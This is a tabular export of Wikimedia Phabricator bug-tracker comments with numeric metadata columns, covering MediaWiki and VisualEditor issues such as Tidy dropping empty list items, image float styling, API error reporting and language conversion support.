+[[https://gerrit.wikimedia.org/r/246148]]",,,1446075996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,121,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+546109,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 246148 had a related patch set uploaded (by Tim Starling):
+Client-side migration for empty li preservaton
+
+[[https://gerrit.wikimedia.org/r/246148]]
+",,,1444793336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,119,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+546104,Empty list items goes missing in the PHP parser when tidy is enabled,"I'm going to introduce a migration tool to fix this bug, roughly following @cscott's suggestion, which is to preserve empty <li> tags through Tidy, but to add a class to those preserved elements which will be styled with display:none. It is believed that there are some templates which are producing empty list items because it is convenient for them as a way of omitting the list item for empty input. After the display:none hack is introduced, a user script would allow the expected changes to be visible to template maintainers. There is also a proposed change to log affected templates: https://gerrit.wikimedia.org/r/#/c/246106
+
+After a suitable migration period, the display:none rule would be removed, and list items would be visible as is desired by the multiple reporters of this bug.
+
+The empty <li> tags would be preserved through tidy by adding a datafld attribute, exploiting special case behaviour in Tidy's CanPrune() which was intended to fix http://sourceforge.net/p/tidy/bugs/337/
+",,,1444792377,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,119,,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,1
+228064,Empty list items goes missing in the PHP parser when tidy is enabled,*** Bug 52374 has been marked as a duplicate of this bug. ***,,,1386112687,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+49672,VisualEditor: Sequential floated images are stacking,"**Author:** `owen`
+
+**Description:**
+Looking at [[Principality of Stavelot-Malmedy]] in the Visual Editor, immediately after the heading ""Development and the High Middle Ages"" there are two images floated right.
+
+In Read mode, these images are given `float: right; clear: right;`. In VE mode, however, the `clear: right;` appears to be missing, so the images are stacking up.
+
+In case it makes a difference, I'm running Chrome 26.0.1410.64 m, on 64-bit Windows 7 Home Premium (Build 7601, Service Pack 1).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://en.wikipedia.org/wiki/Principality_of_Stavelot-Malmedy",Medium,50.0,1366925940,1369093908.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-eaknwofmb4d2xflpnx7d,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+228025,VisualEditor: Sequential floated images are stacking,"This was fixed by gerrit 64367 which is now merged, but is 'experimental' and
+so will not go out for a short while. Marking as fixed within wmf5, though.",,,1369093844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eaknwofmb4d2xflpnx7d,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+228023,VisualEditor: Sequential floated images are stacking,"This is because Parsoid outputs completely different HTML for images (using <figure> and what not) that doesn't match the MediaWiki CSS.
+
+This will be fixed once we change the ce.MWThumbImageNode rendering to match the MW rendering rather than the Parsoid rendering, and move image support out of the experimental list.",,,1366927394,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eaknwofmb4d2xflpnx7d,task_subcomment,,True,c1,1,False,,,-10,,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+228019,VisualEditor: Sequential floated images are stacking,"Confirmed - the DM layer for alien items (like images) apparently respects the CSS and is meant to pass it through, but CE isn't?",,,1366926217,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eaknwofmb4d2xflpnx7d,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+49642,[TUX] Page view doesn't fit long page titles,"A long title all mixed
+
+Long titles get compressed until they become unreadable, see URL and screenshot.
+
+--------------------------
+**Version**: master
+**Severity**: minor
+**URL**: https://meta.wikimedia.org/w/index.php?title=Special:Translate&language=de&group=page-Wikimedia+Blog%2FDrafts%2FTry+out+the+alpha+version+of+the+VisualEditor%2C+now+in+15+languages&filter=&action=page
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=45924
+
+**Attached**: {F10857}",Medium,50.0,1366899360,1607413610.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-732lqsmz4v6bss3kln2v,False,PHID-TASK-7rd7dea5gzp4xsh4amok,task_description,declined,True,c1,1,True,False,False,-10,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+1629080,[TUX] Page view doesn't fit long page titles,"So, on Vector this looks okay. On Monobook it looks like in the Vector screenshot above. Vector overrides the line-height for h1, Monobook doesn't. So the rule from Translate applies:
+``` 
+.tux-messagelist .tux-message-pagemode .tux-pagemode-translation {
+	color: #222;
+	font-size: 16px;
+	line-height: 1.5em;
+	padding-left: 20px;
+}
+```
+
+Since it is still readable and Monobook is not my favorite skin, I'm inclined to decline this as not worth fixing in Translate. It would be nice of Monobook also set the line-height when overriding font-size for headings.",,,1607413610,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-7rd7dea5gzp4xsh4amok,task_subcomment,,True,c1,3,True,,,388,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+226044,[TUX] Page view doesn't fit long page titles,"Created attachment 12173
+Same long title just partly overlapping in another browser
+
+**Attached**: {F10858}",,,1366899451,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7rd7dea5gzp4xsh4amok,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+49581,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)","1. Parsoid not running, VisualEditor enabled on to-be-created page X
+2. Enter a few words 
+3. ""Review and Save""
+4. Loader keeps spinning indefinitely
+
+Request:
+
+action=visualeditor&paction=serialize&html=%3Cp+data-ve-changed%3D%22%7B%26quot%3Bcontent%26quot%3B%3A7%7D%22%3Edfgdg%3C%2Fp%3E&page=Sandbox%2F1&oldid=0&token=%2B%5C&format=json
+
+Response:
+
+{""visualeditor"":{""result"":""success"",""content"":false}}
+
+No errors.
+
+Note this bug could also be reported as ""Loader keeps spinning forever when creating a new page and trying to review/save it""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1366757460,1368638813.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-jrrnahwoyus5omqe5ox7,task_description,resolved,True,c1,1,True,False,True,-10,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+222414,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)",Merged into master; will go out with wmf5.,,,1368638813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+222408,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)",Related URL: https://gerrit.wikimedia.org/r/63861 (Gerrit Change I6bdd177bc9b5a0af9107cf08d8e46470c6778e12),,,1368631835,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+222402,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)","(In reply to comment #1)
+> Related URL: https://gerrit.wikimedia.org/r/60613 (Gerrit Change
+> Icdf64a792c13a326f494e051be47f2946928d142)
+
+This fixed the visible problem described below:
+
+(In reply to comment #0)
+> as ""Loader keeps spinning forever when creating a new page and
+> trying to review/save it""
+
+The error is now handled by stopping the spinner (as we always do after an aborted load) and display the error.
+
+The error message in my case was ""No Wikitext content in response from server"" triggered from ve.init.mw.Target.onSerialize's patch where there are no errors and eventually finds this by type-checking the content property.
+
+Lowering priority. Todo tasks:
+
+* Don't return status ""success"" if content is missing, but use status ""error"".
+
+* Make it not just status ""error"" but actually trigger a proper API response.error property with a more direct error, namely that the Parsoid server is unavailable.",,,1366762868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+222395,"VisualEditor: API paction=serialize should say so if Parsoid is unavailable (instead of status ""success"" with missing content)",Related URL: https://gerrit.wikimedia.org/r/60613 (Gerrit Change Icdf64a792c13a326f494e051be47f2946928d142),,,1366761720,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jrrnahwoyus5omqe5ox7,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49528,Create a VisualEditor plugin tool to add/edit musical scores,"As a VisualEditor plugin inside the extension, provide a visual way for users to create and edit musical scores.
+
+This would be a (very) major undertaking, even if there is an existing JavaScript-based visual Lilypond score editor, or failing that, a visual score editor with a different output format which would need to be converted to Lilypond. A brief search found a few promising leads for ABC editors, but mostly based in Flash.
+
+Still, hopefully not just a pipedream. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1366688580,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_description,open,True,c1,1,True,False,,-10,,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+639611,Create a VisualEditor plugin tool to add/edit musical scores,"Note that as of November 2015 there is a nice previewing editor for Scores, but it's still based on the Lilypond or ABC source format rather than a visual one.",,,1459667871,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,3,True,,,143,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+404863,Create a VisualEditor plugin tool to add/edit musical scores,">>! In T49528#1003822, @Tgr wrote:
+> Just adding a text editor with a preview button, like e.g. [[ http://lilybin.com/ | lilybin.com ]] does it, does not sound that hard.
+
+Indeed, but this task is asking for a visual drag-and-drop sheet music editor.
+
+> I wonder if that could even be a generic fallback option for tag-based parser extensions without a dedicated editor plugin.
+
+That's already provided in VisualEditor.",,,1422635139,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,3,True,,,82,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+404761,Create a VisualEditor plugin tool to add/edit musical scores,"Just adding a text editor with a preview button, like e.g. [[ http://lilybin.com/ | lilybin.com ]] does it, does not sound that hard. I wonder if that could even be a generic fallback option for tag-based parser extensions without a dedicated editor plugin.",,,1422602902,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,3,False,,,82,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1
+218790,Create a VisualEditor plugin tool to add/edit musical scores,"See also
+http://lists.wikimedia.org/pipermail/wikitech-l/2013-June/069973.html",,,1371406501,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-ndh2cqs25x7mmcs6xaye,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+49521,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"On VE load, do an ""originalHtml == serialise(linmod(originalHtml)"" or whatever and fail out of the VE if false; ideally, also allow the user to submit a failure report for debugging purposes (this will need to get checked through with legal).
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1366667700,1372387346.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-inty44ufbm7rwhc55mom,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+218428,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,Written and about to be deployed.,,,1372387346,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+218420,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"Change 70106 merged by jenkins-bot:
+mw.ViewPageTarget: Add sanity check for DOM roundtrip
+
+https://gerrit.wikimedia.org/r/70106",,,1372387306,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+218414,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"Change 70106 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Add sanity check for DOM roundtrip
+
+https://gerrit.wikimedia.org/r/70106",,,1372381883,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+218405,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"Any news on this? 
+
+Having some automated general sanity checks on the returned wikitext (for example size, check if it starts with a doctype) would also be good, especially now that users don't see a diff by default any more. If any of the automated sanity checks fail, you should probably ask the user to review changes before saving. This should catch most major article corruption issues before they happen.",,,1371496468,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,1,0
+218394,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,Pulling.,,,1370449877,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+218385,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,Roan's offered to do this one on his flight. Marking as such.,,,1368766983,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+218379,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"We are diffing on the DOM on the way in, but while debugging a text diff is useful too.
+
+Order preservation is not guaranteed in the DOM4 spec afaik, but is implemented and supported nevertheless using the attributes collection and numerical indexing: https://developer.mozilla.org/en-US/docs/DOM/Node.attributes",,,1367265092,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+218374,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"We wouldn't be doing string-based comparisons, we'd be doing DOM-based comparisons. That's what Parsoid should be doing too, IMO.
+
+If comparisons are DOM-based, quoting style and attribute order don't matter. In general, I don't believe there's a way to read or write attribute order in the DOM.",,,1367264016,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+218370,VisualEditor: Sanity-check the browser by internally round-tripping HTML to linmod and ensuring it's the same,"A common issue currently is changes in attribute order and a change of quoting style for JSON attributes. It would be great if VE could preserve the order of attributes. 
+
+For the quoting, we have some smart quoting code that you could reuse. Alternatively, you can compare the innerHTML of the original DOM with the exported DOM as that implicitly changes JSON attribute quoting to the verbose style.",,,1367256333,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-inty44ufbm7rwhc55mom,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+49411,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","The ""language conversion blocks"" are a wikitext feature that allow users to define text content in parallel scripts. The most high profile is in Chinese, which has two major writing systems and automated conversion between them, but there are 28 others, some of which are not automated conversion (so VE will need to not just mark the text with an appropriate <span>, but allow the user to understand when they have edited text that needs editing twice or thrice (possibly in scripts they cannot/do not want to use?) - see https://meta.wikimedia.org/wiki/Wikipedias_in_multiple_writing_systems
+
+Documentation of the feature (focussed on the syntax) is here: https://www.mediawiki.org/wiki/Writing_systems/Syntax
+
+Parsoid will need to add support for this first, which is {T43716}.",Medium,50.0,1366380120,1513281041.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-m2ezqyeb4uz67zq6bats,False,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_description,resolved,True,c1,1,True,False,False,-11,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+982345,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis",">>! In T49411#3691289, @Deskana wrote:
+> I believe there's still more outstanding here, right?
+
+Yes, see  {T43716} - phase 1 support is complete, which brings VE to parity with the PHP parser -- in both cases, as soon as you start to edit the page you're confronted with the raw un-converted text (not the text in your preferred variant).
+
+VE can do better (in theory) -- that's ""phase 3"" of T43716.  But that's probably another bug.  Since VE is now at parity with PHP source editing, I think this task can be resolved, and we'll open specific bugs for deficiencies in the current UX (ie, T182910).  I'll open a new task for the VE side of Parsoid's phase 3, once we get there, but that's a new feature.",,,1513281041,,PHID-USER-m2ezqyeb4uz67zq6bats,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,232,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1
+949474,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","I believe there's still more outstanding here, right?",,,1508260389,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-fqccocu2hyrbuqx5yi6l,task_subcomment,,True,c1,3,True,,,224,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0
+931227,"VisualEditor: Support ""Language conversion blocks"" for multi-script wikis","Change 361921 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Inspectors for editing LanguageConverter markup
+
+[[https://gerrit.wikimedia.org/r/361921]]
